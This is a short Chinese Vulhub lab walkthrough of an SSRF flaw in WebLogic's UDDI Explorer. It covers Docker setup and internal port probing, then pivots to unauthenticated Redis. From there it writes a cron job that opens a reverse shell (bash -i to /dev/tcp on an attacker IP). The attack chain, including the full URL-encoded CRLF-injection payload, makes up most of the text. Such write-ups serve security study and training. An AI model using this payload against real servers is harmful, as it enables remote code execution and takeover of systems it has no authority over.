SSRF-vulhub

首先是docker启动:

docker-compose build
docker-compose up -d

访问:ip:7001/uddiexplorer/即可看到环境搭建成功了。

然后访问SSRF存在的地方:

ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

2

如上图所示当访问可访问的端口时就会得到404错误。而访问不存在的端口时:

3

由此可以用fuzz的方式探测内网开放主机以及端口,最终发现172.24.0.2主机开放了redius服务,我们通过这为突破点进行getshell:

1

因为redis存在未授权访问,我们getshell采用定时任务方式写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/kali的IP/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

当然要想在http中利用最好url编码一次。

要注意的是上面是四行因而需要换行,换行符是"\r\n"->url编码后:"%0D%0A"
最后访问:http://192.168.23.157:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.24.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.23.152%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

最后成功getshell:

4